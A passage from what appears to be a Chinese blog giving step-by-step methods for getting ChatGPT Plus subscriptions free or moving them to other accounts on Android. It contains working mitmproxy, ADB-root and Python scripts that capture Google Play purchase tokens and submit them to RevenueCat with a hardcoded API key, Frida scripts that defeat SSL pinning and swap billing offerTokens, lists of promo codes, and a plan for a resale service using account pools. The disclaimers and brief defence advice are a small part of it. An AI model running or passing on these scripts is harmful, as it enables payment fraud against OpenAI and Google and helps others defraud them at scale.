 body = json.loads(flow.request.get_text())
 fetch_token = body.get("fetch_token", "")
 if fetch_token:
 record = {
 "fetch_token": fetch_token,
 "original_user_id": body.get("app_user_id", ""),
 "captured_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
 "used": False
 }
 with open(TOKEN_FILE, "a") as f:
 f.write(json.dumps(record) + "\n")
 print(f"[+] Token captured: {fetch_token[:40]}...")

 # 返回伪造响应，阻断真实请求
 flow.response = http.Response.make(
 200,
 json.dumps({"subscriber": {"entitlements": {}}}),
 {"Content-Type": "application/json"}
 )
 except Exception as e:
 print(f"[-] Parse error: {e}")

addons = [RevenueCatInterceptor()]
# 启动: mitmproxy -s mitm_intercept.py -p 8888

跑起来之后，每次支付完成，token 就自动保存到 tokens.jsonl，一条一行，干净利落。

方式二：ADB 直读 Google Play 数据库（需要 Root）

原理：Google Play 的购买记录存在本地 SQLite 数据库 library.db 里。Root 设备可以直接把数据库拉出来，用 SQL 查 token。

这个方法的好处是不需要实时拦截——支付完成后随时都能提取。坏处是需要 Root。

完整提取脚本：

"""
read_purchase_token.py
通过 ADB 从 Google Play library.db 读取 ChatGPT 购买 Token
"""
import os, json, time, sqlite3, tempfile, subprocess

OUTPUT_FILE = "purchases.txt"
DB_SRC = "/data/data/com.android.vending/databases/library.db"
DB_SDCARD = "/sdcard/.tmp_read_token.db"
DEVICE_SERIAL = "" # 留空自动选第一台设备

def adb(*args, timeout=15):
 cmd = ["adb"]
 if DEVICE_SERIAL:
 cmd += ["-s", DEVICE_SERIAL]
 cmd += list(args)
 try:
 r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
 return r.returncode, (r.stdout + r.stderr).strip()
 except FileNotFoundError:
 return -1, "adb not found"

def read_token():
 tmp_path = None
 try:
 # Step 1: 用 root 权限把数据库复制到 sdcard
 code, out = adb("shell",
 f"su -c 'cp {DB_SRC} {DB_SDCARD} && chmod 644 {DB_SDCARD} && echo DONE'")
 if code != 0 or "DONE" not in out:
 print("复制失败，请确认设备已 Root")
 return

 # Step 2: pull 到本地
 _, tmp_path = tempfile.mkstemp(suffix=".db")
 adb("pull", DB_SDCARD, tmp_path)

 # Step 3: SQLite 查询
 conn = sqlite3.connect(tmp_path)
 cur = conn.cursor()

 # 自动识别表结构
 cur.execute("PRAGMA table_info(ownership)")
 cols = [r[1] for r in cur.fetchall()]

 # 找 JSON 数据列
 json_candidates = ["inapp_purchase_data", "purchase_data", "value", "data"]
 json_col = next((c for c in json_candidates if c in cols), None)
 doc_col = "doc_id" if "doc_id" in cols else cols[3]

 # 查 ChatGPT 相关购买记录
 sql = f"""
 SELECT account, {doc_col}, {json_col}
 FROM ownership
 WHERE ({doc_col} LIKE '%openai%' OR {doc_col} LIKE '%chatgpt%')
 AND {json_col} IS NOT NULL
 ORDER BY rowid DESC
 """
 rows = cur.execute(sql).fetchall()
 conn.close()

 # Step 4: 解析并保存 token
 saved = set()
 for row in rows:
 email = str(row[0]) if row[0] else "unknown"
 raw_json = str(row[2]) if row[2] else ""
 if "purchaseToken" not in raw_json:
 continue
 data = json.loads(raw_json)
 token = data.get("purchaseToken", "")
 order = data.get("orderId", "")
 if not token or token in saved:
 continue
 saved.add(token)

 entry = f"{time.strftime('%Y-%m-%d %H:%M:%S')} | {email} | {order} | {token}\n"
 with open(OUTPUT_FILE, "a") as f:
 f.write(entry)
 print(f"邮箱: {email}")
 print(f"Order: {order}")
 print(f"Token: {token[:60]}...")
 print(f"已保存 -> {OUTPUT_FILE}")

 print(f"共保存 {len(saved)} 条")
 finally:
 if tmp_path:
 os.unlink(tmp_path)
 adb("shell", f"rm -f {DB_SDCARD}")

if __name__ == "__main__":
 read_token()

这段代码做了什么？

一步步拆解：

su -c 'cp ...' — Google Play 的数据库在 /data/data/com.android.vending/ 下，普通权限读不了，必须用 su（Root）复制到 sdcard
adb pull — 把数据库从手机拉到电脑上
SQLite 查询 — ownership 表存了所有购买记录，用 LIKE '%chatgpt%' 过滤出 ChatGPT 相关的
JSON 解析 — 购买数据是 JSON 格式存的，里面有 purchaseToken 和 orderId

数据库的 ownership 表结构大概长这样：

列名	类型	说明
account	TEXT	Google 账号邮箱
doc_id	TEXT	应用包名+产品ID
inapp_purchase_data	TEXT	JSON 格式的购买数据

JSON 里面关键字段：

{
 "orderId": "GPA.3305-3747-1234-56789",
 "packageName": "com.openai.chatgpt",
 "productId": "oai.chatgpt.plus",
 "purchaseTime": 1720000000000,
 "purchaseState": 0,
 "purchaseToken": "iekllednimgnlmo...（很长一串）",
 "quantity": 1,
 "acknowledged": false,
 "autoRenewing": true
}

purchaseToken 就是我们要的东西。拿到它，就能"转移"订阅。

四、获取目标账号的 account_id

Token 到手了，接下来要知道"转给谁"——也就是目标 GPT 账号的 account_id。

API 调用：

GET https://android.chat.openai.com/backend-api/accounts/check/v4-2023-04-27
Authorization: Bearer <目标账号的 JWT Token>

响应里有个 account_id 字段，UUID 格式：

{
 "account_id": "f211fe99-83d9-4c48-b016-ee08984a592a",
 "email": "target@example.com",
 ...
}

怎么拿 JWT Token？

最简单的方式：浏览器登录 ChatGPT → 访问 https://chatgpt.com/api/auth/session → 响应里有 accessToken。

或者直接让用户给你 Session JSON，你从里面解析 account.id。

五、执行转移

Token 有了，account_id 有了，最后一步：调 RevenueCat API，把 token 绑到目标账号上。

完整转移脚本

import requests
import json

url = "https://api.revenuecat.com/v1/receipts"

headers = {
 "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 16; Pixel 9 Build/BP4A.260205.001)",
 "Content-Type": "application/json",
 "X-Platform": "android",
 "X-Platform-Flavor": "native",
 "X-Platform-Version": "36",
 "X-Version": "9.22.1",
 "X-Client-Bundle-ID": "com.openai.chatgpt",
 "X-Observer-Mode-Enabled": "false",
 "X-Custom-Entitlements-Computation": "true",
 "X-Storefront": "US",
 "Authorization": "Bearer goog_DPguJtknNxbQBStStwhWGRsghUw",
 "X-RevenueCat-ETag": ""
}

data = {
 "fetch_token": "<你拿到的 purchase token>",
 "product_ids": ["oai.chatgpt.plus"],
 "platform_product_ids": [{"product_id": "oai.chatgpt.plus"}],
 "app_user_id": "<目标账号的 account_id>",
 "is_restore": True,
 "observer_mode": False,
 "purchase_completed_by": "revenuecat",
 "initiation_source": "unsynced_active_purchases",
 "sdk_originated": False,
 "payload_version": 1
}

response = requests.post(url, headers=headers, data=json.dumps(data, separators=(',', ':')))

if response.status_code == 200:
 result = response.json()
 subscriber = result.get("subscriber", {})
 entitlements = subscriber.get("entitlements", {})
 subscriptions = subscriber.get("subscriptions", {})

 if "chatgpt_plus" in entitlements:
 ent = entitlements["chatgpt_plus"]
 print("=" * 50)
 print("充值成功！")
 print("=" * 50)
 print(f" 账号 ID : {subscriber.get('original_app_user_id')}")
 print(f" 到期时间 : {ent.get('expires_date')}")
 print(f" 产品标识 : {ent.get('product_identifier')}")

 for pid, sub in subscriptions.items():
 price = sub.get("price", {})
 print(f" 价格 : {price.get('amount', '?')} {price.get('currency', '')}")
 print(f" 订阅类型 : {sub.get('period_type')}")
 print(f" 是否沙盒 : {'是' if sub.get('is_sandbox') else '否'}")
 else:
 print("未找到 chatgpt_plus 权益，可能失败了")
 print(json.dumps(result, indent=2, ensure_ascii=False))
else:
 print(f"请求失败: {response.status_code}")
 print(response.text)

逐行拆解

Headers 部分：

"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 16; Pixel 9 Build/...)"

伪装成 Android 设备的 ChatGPT App。RevenueCat 会检查 User-Agent，用浏览器的 UA 会被拒。

"Authorization": "Bearer goog_DPguJtknNxbQBStStwhWGRsghUw"

这不是用户的 token，这是 RevenueCat 的 公共 API Key。每个使用 RevenueCat 的 App 都有一个，固定不变的。ChatGPT Android 的公钥就是这个。

Body 部分：

"fetch_token": "<purchase token>" # 第三步拿到的购买凭证
"app_user_id": "<account_id>" # 第四步拿到的目标账号 ID
"is_restore": True # 告诉 RC 这是"恢复购买"，不是新购买
"initiation_source": "unsynced_active_purchases" # 来源标记

is_restore: True 是个关键细节——它告诉 RevenueCat “这不是一次新购买，而是恢复一个已有的购买”。这样 RC 不会创建新的订阅记录，而是把已有的 token 绑定到 app_user_id 指定的账号上。

成功响应长啥样？

{
 "subscriber": {
 "entitlements": {
 "chatgpt_plus": {
 "expires_date": "2026-08-17T07:13:32Z",
 "product_identifier": "oai.chatgpt.plus",
 "purchase_date": "2026-07-17T07:13:32Z"
 }
 },
 "subscriptions": {
 "oai.chatgpt.plus": {
 "period_type": "trial",
 "price": { "amount": 0.0, "currency": "JPY" },
 "store": "play_store",
 "expires_date": "2026-08-17T07:13:32Z"
 }
 },
 "management_url": "https://play.google.com/store/account/subscriptions?..."
 }
}

看到 entitlements 里有 chatgpt_plus，就说明转移成功了。expires_date 是到期时间。

六、完整流程图

┌─────────────────────────────────────────────────────┐
│ Phase 1: Token 获取 │
│ │
│ 方式A: MITM 拦截 │
│ Android + ChatGPT + Reqable/mitmproxy │
│ 完成 Google Play 支付 │
│ 拦截 POST /v1/receipts → 提取 fetch_token │
│ 阻断请求 → 保存 token (72h 有效) │
│ │
│ 方式B: ADB 直读 │
│ Root 设备 + ADB │
│ 读取 library.db → ownership 表 │
│ 解析 JSON → 提取 purchaseToken │
└───────────────────────┬─────────────────────────────┘
 │
 ▼
┌─────────────────────────────────────────────────────┐
│ Phase 2: Token 使用 │
│ │
│ 获取目标账号 account_id │
│ GET /backend-api/accounts/check │
│ 或从 Session JSON 解析 │
│ ↓ │
│ POST /v1/receipts │
│ fetch_token = 保存的 token │
│ app_user_id = 目标 account_id │
│ Authorization = RC 公钥 │
│ ↓ │
│ RevenueCat 验证 → 通知 OpenAI → Plus 开通 │
└─────────────────────────────────────────────────────┘

七、规模化：从手动到自动

手动操作一两个账号没问题，但如果要做成服务呢？这就涉及到工程化了。

架构设计

一个完整的自动化系统大概长这样：

┌──────────┐ ┌────────────┐ ┌────────────┐
│ Google │ │ 拦截层 │ │ Token │
│ 账号池 │────▶│ mitmproxy │────▶│ 队列 │
│ │ │ + ADB │ │ (FIFO) │
└──────────┘ └────────────┘ └─────┬──────┘
 │
 ▼
┌──────────┐ ┌────────────┐ ┌────────────┐
│ 目标 │ │ 充值 API │ │ CDK │
│ 账号 │◀────│ 自动提交 │◀────│ 卡密系统 │
│ │ │ RC 调用 │ │ │
└──────────┘ └────────────┘ └────────────┘

核心组件：

组件	职责	技术栈
Google 账号池	存储可用的 Google 账号	数据库
ADB 自动化	自动完成 Play 支付流程	Python + ADB
Token 队列	缓存未使用的 purchase token	数据库/消息队列
CDK 卡密系统	发放激活码给终端用户	Web 应用
充值 API	接收用户 Session，调用 RC 完成开通	后端服务

数据库设计

核心就三张表：

google_credential — 记录每次 Google Play 购买：

字段	说明
google_email	Google 账号
order_id	订单号
purchase_token	购买凭证
product_id	产品标识
acknowledged	是否已确认
status	状态（未使用/已使用/已退款）
card_key_id	关联的 CDK

card_key — CDK 卡密：

字段	说明
card_key	16位激活码
product_id	对应产品
credential_id	关联的购买凭证
status	状态（待使用/已使用/已禁用）

redeem_record — 充值记录：

字段	说明
card_key	使用的激活码
external_account_id	目标 GPT 账号 ID
status	结果（成功/失败）
expires_date	订阅到期时间

用户端流程

做成产品后，终端用户看到的是这样的流程：

用户拿到 CDK 激活码
 ↓
打开充值页面，输入激活码
 ↓
系统验证激活码有效性
 ↓
用户粘贴自己的 ChatGPT Session JSON
 ↓
系统解析 Session，提取 account_id
 ↓
系统从 Token 队列取一个 token
 ↓
调用 RevenueCat API 完成转移
 ↓
返回充值结果（成功/失败 + 到期时间）

用户全程不需要知道底层发生了什么。他只需要：

输入激活码
粘贴 Session
等几秒钟

八、风控与注意事项

时间约束

约束	时限	后果
Token 未 Acknowledge	72 小时	Google Play 自动退款
RC 提交后自动 Acknowledge	立即	Token 被消费，无法再用

所以：token 拦截后必须在 3 天内使用。提交给 RevenueCat 后就立即被 Acknowledge，相当于"消费"掉了。

一 token 一账号

purchase token 一旦提交给 RevenueCat 并被 Acknowledge，就标记为"已消费"。不能重复使用。一次支付 = 一个 token = 开通一个账号。

这跟之前 iOS 收据复用漏洞不同——iOS 那个是同一张收据能反复用，Android 这个不行。

X-Post-Params-Hash

抓包时你可能注意到请求头里有个 X-Post-Params-Hash，格式：

app_user_id,fetch_token:sha256:<hash值>

这个是 app_user_id 和 fetch_token 拼接后的 SHA256。换了 account_id 后需要重新算。

但经过实测：服务端不校验这个值。随便填或者留空都不影响结果。RevenueCat 可能是为了调试保留的字段，并没有做服务端校验。

同样，X-Nonce 这个字段也不校验。

风控分析

风控点	风险	说明
RevenueCat 服务端	低	只验 token 真假，不检查 app_user_id 匹配
Google Play 退款检测	中	频繁退款/争议可能被 Google 封号
OpenAI 行为分析	低	OpenAI 后端只看 RC 返回的订阅状态
Google 账号风控	中	同一账号频繁订阅/退订会被标记

Google 账号消耗

如果走的是免费试用路径（period_type: "trial", price: 0.0）：

每个 Google 账号对 oai.chatgpt.plus 只有 1 次免费试用机会
试用后该账号永久标记为"已使用试用"
N 个 token 需要 N 个 Google 账号

如果走的是付费订阅路径：

Token 被拦截未 Acknowledge → 72h 后自动退款 → 理论上可重新购买
但频繁操作会触发 Google 风控
建议每个账号不超过 3-5 次循环

九、与 iOS 收据漏洞的对比

很多人会把这个和 iOS 收据复用搞混，这里做个对比：

维度	iOS 收据复用	Android Token 转移
支付平台	App Store	Google Play
中间层	直接对接 OpenAI	经过 RevenueCat
核心资产	iOS receipt（Base64）	purchase token
能否复用	能，一张收据开无数账号	不能，一个 token 只能用一次
成本模型	一次付费 → 无限开通	一次付费 → 一次开通
获取难度	需要 iOS 设备 + 拦截	Android + MITM 或 Root
修复状态	部分修复	未修复

Android 这个转移漏洞的成本比 iOS 高（每开一个账号都需要一个新 token），但胜在稳定——因为它利用的是 RevenueCat 的设计缺陷，不是简单的验证遗漏，修起来牵涉面更广。

十、总结

整条攻击链路其实非常清晰：

Google Play 支付 → 拦截 purchase token → 阻断 RevenueCat 回调
 ↓
目标账号 account_id ← Session 解析 ← 用户提交
 ↓
POST /v1/receipts (token + account_id) → RevenueCat 验证
 ↓
 OpenAI 开通 Plus

漏洞本质：RevenueCat 作为订阅中间层，在验证 purchase token 时不检查 app_user_id 与实际付款人的对应关系。它只关心两件事：token 是不是真的、token 有没有被用过。至于"谁付的钱"和"给谁开通"是不是同一个人——它不在乎。

为什么 OpenAI 不修？ 大概率不是不能修，而是不值得。要修这个洞，要么放弃 RevenueCat 自建订阅系统（工程量巨大），要么在 RevenueCat 侧增加 app_user_id 校验（需要 RC 配合改 API）。对于一个 B 端收入占大头的公司来说，个人订阅的漏洞优先级确实不高。

技术要点回顾：

架构理解 — Google Play → RevenueCat → OpenAI 三层解耦
Token 获取 — MITM 拦截（简单）或 ADB 直读 library.db（需 Root）
account_id — 从 /accounts/check API 或 Session JSON 获取
API 调用 — POST /v1/receipts 携带 token + account_id
时间窗口 — 72 小时，过期自动退款

最后提醒：本文仅供技术研究和安全交流。Google Play 订阅体系的安全性问题是一个值得关注的研究方向，但请不要将本文技术用于非法用途。

参考资料

标签: #ChatGPT #GPTPlus #GooglePlay #RevenueCat #订阅转移 #Android #支付安全 #技术科普

GPT Plus 订阅漏洞深度分析 - Google Play Billing 鉴权缺失导致 0 元订阅

Mon, 20 Apr 2026 05:30:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 时效性提醒（2026-07 更新）：本文发布于 2026 年 4 月，距今已过去 3 个月。文中方案三（批量开 Pro）已在发布时标注为已修复；方案一（API 响应注入）和方案二（offerToken 替换）经过近 3 个月，当前可用性存疑，OpenAI/Google 可能已加强校验。本文保留仅供安全研究与技术原理学习参考。

前言

今天给大家带来一个相当有意思的支付安全案例分析。这个漏洞的核心在于 ChatGPT 安卓客户端在调用 Google Play Billing 时，服务端未对订阅凭证进行二次校验，导致攻击者可以通过两种方式实现 Plus/Pro 权益的零元订阅。

先说结论：这不是传统意义上的"破解"，而是典型的业务逻辑漏洞。漏洞根源在于 Google Play Billing 过度信任客户端传入的优惠凭证，且未与服务端进行资格校验。

两种攻击方式对比

攻击方式	攻击点	技术难度	需要 Root	稳定性
方式一：API 响应注入	HTTP 层（MITM）	中	否	依赖服务端校验
方式二：offerToken 替换	内存层（Frida）	高	是	更稳定

方式一：API 响应注入（无需 Root）

攻击原理

ChatGPT 安卓应用在启动时会调用以下接口获取当前登录用户信息：

GET https://android.chat.openai.com/backend-api/accounts/check/v4-2023-04-27

响应包中包含 eligible_promo_campaigns 字段，用于存储当前账号可用的优惠活动。正常情况下，这个字段由服务端根据账号资格动态返回。

通过中间人攻击（MITM），我们可以修改响应包，强行插入优惠码。

环境准备

必要条件：

美区谷歌账号 × 1（任意区均可，非必须英区）
任意美卡 × 1（用于绑定账号，实际不扣费）
安卓设备 × 1（需 Root 以安装 MITM 证书，模拟器亦可）

工具链：

MITM 抓包工具（推荐 HttpCanary 或 Charles）
Root 权限管理工具（Magisk）
ChatGPT 安卓客户端

可用优惠码

固定优惠码（每次可用）：

优惠码	效果	稳定性
`3-day-free-trial`	3 天免费试用	固定可用
`plus-1-month-free-trial`	1 个月免费试用	固定可用
`1-month-10-dollars`	半价优惠（$5/月）	固定可用
`pro-winback-1-month-free`	Pro 挽回试用 1 个月	特定资格账号

特殊优惠码（限时/限资格）：

优惠码	效果	说明
`2wqkodfx51z2x`	6 个月免费试用	限时优惠
`2ispxs5mtgz35`	12 个月免费试用	限时优惠

这些优惠码是固定的，每次都可以使用。这也是为什么外面卡网可以持续生产低价 Plus 会员的根本原因。

构造优惠响应

以下是注入 1 个月免费试用优惠的响应包示例：

{
 "eligible_promo_campaigns": {
 "plus": {
 "id": "plus-1-month-free",
 "metadata": {
 "plan_name": "chatgptplusplan",
 "title": "linux.do",
 "summary": "你已获得 1 个月的 Plus 套餐优惠促销代码。",
 "discount": {
 "percentage": 100
 },
 "credit_grant": null,
 "duration": {
 "num_periods": 1,
 "period": "month"
 },
 "schedule": null,
 "price_period": "recurring",
 "promotion_type": "discount",
 "promotion_type_label": "1-month free trial",
 "no_auto_renewal_at_discount_end": true,
 "plan_type_change": null
 }
 }
 }
}

关键字段说明：

discount.percentage: 100 表示 100% 折扣（即 0 元）
duration.num_periods: 优惠持续时间（1 表示 1 个月）
no_auto_renewal_at_discount_end: true 表示优惠结束后不自动续费

零元订阅与风控绕过

修改响应后重新打开 ChatGPT 应用，点击升级即可看到免费试用界面。

由于是 0 元订阅，Google Play 的风控级别极低，仅需通过验卡环节即可完成订阅。这也是为什么需要提前绑定一张美卡的原因——不是为了扣费，而是为了通过 Google 的风控验证。

提取订阅凭证

订阅成功后，ChatGPT 会向 RevenueCat 回调接口发送订阅凭证：

POST https://api.revenuecat.com/v1/receipts

拦截该请求，提取响应中的 fetch_token 字段：

{
 "fetch_token": "xxxx",
 ...
}

这个 fetch_token 就是订阅凭证。将其保存后，即可用于给其他账号开通 Plus 权益。

方式二：offerToken 内存替换（需要 Root）

攻击原理

ChatGPT Android 调用 Google Play Billing 时，把当前 SKU 的默认 offerToken 传给 Google Pay。这时候就可以在内存里把这个 token 替换成 plus-1-month-free-trial 的 offerToken，让 Google Play 按免费试用处理。实际支付金额就是 0 刀。

工作本质：并非攻击 OpenAI 的服务器，而是在用户本地设备上篡改客户端与 Google Play 之间的计费数据。

环境准备

设备/工具	用途
Root 的 Android 手机	需要刷 Magisk
Windows 电脑	用于运行 Frida 客户端和 ADB
Frida HLUDA Server	正常版本谷歌有检测 Hook 会闪退

四步攻击流程

第一步：通过 Frida 的 Java.choose 接口遍历内存中名为 c3q 的混淆计费类实例，利用反射强制访问其私有字段 b（对应 offerId）与 c（对应 offerToken）。

第二步：脚本持续比对，当发现某个实例的 offerId 与目标免费试用档位一致、且其 offerToken 以 Adumm 为前缀时，将该 offerToken 捕获并缓存。

第三步：对 Android 系统框架层的三个方法进行 Hook，分别为：

android.content.Intent.putExtra(String, String)
android.os.Bundle.putString(String, String)
android.os.Bundle.putStringArrayList(String, ArrayList)

在 ChatGPT 客户端发起付费订阅购买请求的瞬间，Hook 代码识别到即将写入的原始付费档位 offerToken（同样以 Adumm 开头），即将其替换为此前已缓存的免费试用 offerToken。

第四步：经篡改后的购买请求被 Google Play 按"免费试用成功"处理支付成功后并返回成功回执。

可用优惠码

优惠码	效果
`2wqkodfx51z2x`	6 个月免费
`2ispxs5mtgz35`	12 个月免费

完整 Frida 脚本（简化版）

下面是经过整理的简化版 Hook 脚本，移除了复杂的动态捕获逻辑，直接注入已知的免费试用 offerToken：

/**
 * GPT Plus 免费订阅 Hook 脚本 - 简化版
 * 用途：Hook Google Play Billing，直接替换 offerToken 为免费试用
 *
 * 使用方法：
 * 1. 手机 Root 并安装 Magisk
 * 2. 推送 frida-server 到手机并运行
 * 3. 电脑端运行：frida -U -f com.openai.chatgpt -l hook.js
 * 4. 在 ChatGPT App 中点击订阅
 * 5. 自动替换为免费试用，扣费 0 元
 */

"use strict";

// 配置区域：免费试用 offerToken（GPT Plus 1 个月）
var OFFER_TOKEN = "AdummIvzNOk965s/0UOf08hi8zE1QBQA0qHs28TasLNjkP+H9peebMqSzAJF85XTHZsGLhCLb8sUqKa79ScsbZ1UI8MnOiU9VvkCLLFXKQHE1K9KRT9pYVT2qZz0SC9N9IEs3jhI+hkaTkvc/Vc=";

var _keepAlive = setInterval(function() {}, 1000);
function log(msg) { console.log("[GPT] " + msg); }

Java.perform(function() {
 log("启动 — 注入 plus-1-month-free-trial");

 // SSL 解除（防止证书验证失败）
 try {
 var TM = Java.use("com.android.org.conscrypt.TrustManagerImpl");
 TM.checkTrustedRecursive.overload(
 "[Ljava.security.cert.X509Certificate;", "java.net.Socket",
 "boolean", "boolean", "boolean",
 "java.util.Collection", "java.util.Collection"
 ).implementation = function() { return Java.use("java.util.ArrayList").$new(); };
 } catch(_) {}

 try {
 Java.use("android.security.net.config.NetworkSecurityTrustManager")
 .checkPins.implementation = function() {};
 } catch(_) {}

 try {
 Java.use("android.net.http.X509TrustManagerExtensions")
 .checkServerTrusted.overload(
 "[Ljava.security.cert.X509Certificate;",
 "java.lang.String", "java.lang.String"
 ).implementation = function() { return Java.use("java.util.ArrayList").$new(); };
 } catch(_) {}

 // 注入 offerToken（Bundle 层）
 var JStr = Java.use("java.lang.String");
 try {
 var Bundle = Java.use("android.os.Bundle");
 Bundle.putStringArrayList
 .overload("java.lang.String", "java.util.ArrayList")
 .implementation = function(key, value) {
 if ((key === "SKU_OFFER_ID_TOKEN_LIST" ||
 key === "OFFER_ID_TOKEN_LIST") && value) {
 for (var i = 0; i < value.size(); i++)
 value.set(i, JStr.$new(OFFER_TOKEN));
 log("offerToken 已注入");
 }
 return this.putStringArrayList(key, value);
 };
 } catch(_) {}

 // 注入 offerToken（JSONObject 层）
 try {
 var JSONObj = Java.use("org.json.JSONObject");
 JSONObj.$init.overload("java.lang.String").implementation = function(s) {
 if (s && s.indexOf("oai.chatgpt.plus") !== -1 &&
 s.indexOf("offerToken") !== -1) {
 var patched = s.replace(
 /"offerToken"\s*:\s*"[^"]+"/g,
 '"offerToken":"' + OFFER_TOKEN + '"'
 );
 return this.$init(patched);
 }
 return this.$init(s);
 };
 } catch(_) {}

 log("就绪。请在 ChatGPT 中点击订阅按钮。");
});

完整 Frida 脚本（动态捕获版）

如果你拿到的 offerToken 格式有变化，可以使用这个动态捕获版本。它会自动扫描内存中的 offerToken 并替换：

// Dynamic offerToken — 1 MONTH FREE Plus trial
Java.perform(function () {
 console.log('[*] plus-1-month-free-trial');
 var TARGET_OFFER_ID = "plus-1-month-free-trial";

 var capturedToken = null;

 function scanC3qInstances() {
 try {
 Java.choose('c3q', {
 onMatch: function (inst) {
 try {
 var clazz = inst.getClass();
 var bF = clazz.getDeclaredField('b'); bF.setAccessible(true);
 var cF = clazz.getDeclaredField('c'); cF.setAccessible(true);
 var offerId = bF.get(inst);
 var offerToken = cF.get(inst);
 var oidStr = (offerId === null) ? '(default)' : ('' + offerId);
 var tokStr = (offerToken === null) ? 'null' : ('' + offerToken);
 if (tokStr.indexOf('Adumm') === 0 && oidStr === TARGET_OFFER_ID) {
 capturedToken = tokStr;
 console.log(' >>> FOUND ' + TARGET_OFFER_ID + ' <<<');
 }
 } catch (e) {}
 },
 onComplete: function () {}
 });
 } catch (e) {}
 }

 setInterval(function () {
 if (!capturedToken) Java.perform(scanC3qInstances);
 }, 3000);

 var Intent = Java.use('android.content.Intent');
 var Bundle = Java.use('android.os.Bundle');

 function maybeSwap(orig, ctx) {
 if (!orig || orig.indexOf('Adumm') !== 0) return orig;
 if (!capturedToken) Java.perform(scanC3qInstances);
 if (capturedToken) {
 console.log('[' + ctx + '] SWAP -> ' + TARGET_OFFER_ID);
 return capturedToken;
 }
 return orig;
 }

 Intent.putExtra.overload('java.lang.String', 'java.lang.String').implementation = function (k, v) {
 return this.putExtra(k, (v && v.indexOf && v.indexOf('Adumm') === 0) ? maybeSwap(v, 'Intent') : v);
 };
 Bundle.putString.implementation = function (k, v) {
 return this.putString(k, (v && v.indexOf && v.indexOf('Adumm') === 0) ? maybeSwap(v, 'Bundle') : v);
 };
 Bundle.putStringArrayList.implementation = function (k, list) {
 try {
 if (list !== null) for (var i = 0; i < list.size(); i++) {
 var v = list.get(i), sv = '' + v;
 if (sv.indexOf('Adumm') === 0) list.set(i, maybeSwap(sv, 'BundleArr'));
 }
 } catch (e) {}
 return this.putStringArrayList(k, list);
 };

 console.log('[+] Open subscription page first.');
});

使用说明（简化版脚本）：

启动 Frida 服务端

在手机上执行：

adb push frida-server /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server
adb shell su -c '/data/local/tmp/frida-server &'

注入脚本

在电脑端执行：
```
frida -U -f com.openai.chatgpt -l hook.js
```
看到 [GPT] 启动 — 注入 plus-1-month-free-trial 后继续。
完成购买

在 ChatGPT 里点击升级订阅 → 在 Google Play 弹窗里点确认 → 完成。

控制台应该显示 [GPT] offerToken 已注入，支付金额显示为 0 元。

使用说明（动态捕获版脚本）：

手机 Root 并安装 Magisk
推送 frida-server (HLUDA 版本) 到手机并运行
打开 ChatGPT 应用，进入升级 - 订阅 Plus 页面
电脑端运行 frida -U -f com.openai.chatgpt -l script.js 开启脚本
脚本会自动捕获并替换 token（控制台显示 SWAP -> plus-1-month-free-trial）
在订阅页面点击升级，弹出的谷歌支付弹窗即显示 0 元
完成验证后订阅成功

注意事项：

建议使用简化版脚本，更稳定
如果简化版不工作，再尝试动态捕获版
使用 HLUDA 版本 Frida 可绕过部分检测
部分设备可能需要关闭 Google Play 保护机制

漏洞根源分析

方案一：API 响应注入

漏洞根源：服务端未校验 eligible_promo_campaigns 中优惠码的获取途径合法性，仅验证格式有效即允许使用。

修复状态：部分修复。目前部分优惠码已与账号资格绑定，但固定优惠码仍可使用。

方案二：offerToken 替换

漏洞根源：Google Play Billing 信任客户端传入的 offerToken，未与服务端二次校验账号是否真正具备该优惠的使用资格。

修复状态：未修复。这是 Google Play Billing 的设计缺陷，需要谷歌层面修复。

方案三：批量开 Pro（已修复）

这是之前某个公益 Bot 使用的大规模开 Pro 方案：

正价开通一个 ChatGPT Pro 账号
在客户端内点击"降级为 Plus"
客户端向 RevenueCat 请求新的 fetch_token
该 token 为一次性凭证，未使用前可无限生成
将 token 分发给需要开 Pro 的账号

漏洞根源：RevenueCat 作为第三方订阅管理平台，与 ChatGPT 服务端之间的回调接口缺乏鉴权机制。服务端未校验 fetch_token 的来源合法性，仅验证 token 格式有效即开通权益。

修复状态：该方案已被修复。目前 fetch_token 已与设备指纹和账号绑定，无法跨账号使用。

技术总结

漏洞类型

业务逻辑漏洞：服务端过度信任客户端传入的订阅凭证
第三方集成风险：RevenueCat/Google Play Billing 回调接口缺乏鉴权
优惠码校验缺失：未校验优惠码的获取途径合法性和账号资格

攻击链关键点

中间人攻击可行性：安卓客户端未启用 SSL Pinning（或可被 Root 绕过）
内存 Hook 可行性：Google Play Billing 未检测 Frida 等 Hook 框架
零元订阅风控宽松：Google Play 对 0 元交易验证级别低
凭证复用漏洞：fetch_token/offerToken 未与账号/设备绑定

防御建议

对开发者的建议

服务端校验：所有订阅状态变更必须与 Google Play Billing 侧二次确认
凭证绑定：fetch_token/offerToken 应绑定设备指纹、账号 ID、时间戳
优惠码校验：记录优惠码使用历史，检测异常使用模式
SSL Pinning：移动端应用应启用证书锁定防止中间人攻击
反 Hook 检测：检测 Frida、Xposed 等 Hook 框架

对用户的提醒

此类漏洞属于灰色地带，使用可能导致账号被封禁
绑定的支付方式存在潜在风险，建议使用虚拟卡
漏洞随时可能被修复，不建议作为长期使用方案

法律免责声明

本文仅用于技术研究与安全交流，请勿将所述技术用于非法用途。未经授权的订阅漏洞利用可能违反以下法律：

《中华人民共和国网络安全法》
《计算机信息网络国际联网安全保护管理办法》
美国 Computer Fraud and Abuse Act (CFAA)

如因滥用本文技术导致的法律后果，作者不承担任何责任。

参考资料

标签: #ChatGPT #订阅漏洞 #GooglePlayBilling #Frida #支付安全 #移动安全 #漏洞分析

支付安全 on 逍遥笔记

Stripe 协议支付自动化深度拆解：从 HAR 抓包到纯 API 全链路实现

联系逍遥

前言

零、方法论：如何逆向 Stripe 支付协议

0.1 什么是 HAR 文件

0.2 HAR 分析流程

0.3 经过验证的 HAR 请求链路

一、为什么要做"协议支付"

二、Stripe Checkout Session 的两种模式

2.1 Custom 模式 (oaics_ 前缀)

2.2 Hosted 模式 (cs_live_ 前缀)

2.3 决定性参数：checkout_ui_mode

2.4 _stripe_version 的版本差异

2.5 两种模式的完整字段对比

三、Custom 模式协议流程详解

3.1 创建 ConfirmationToken

卡号格式细节

guid/muid/sid 格式

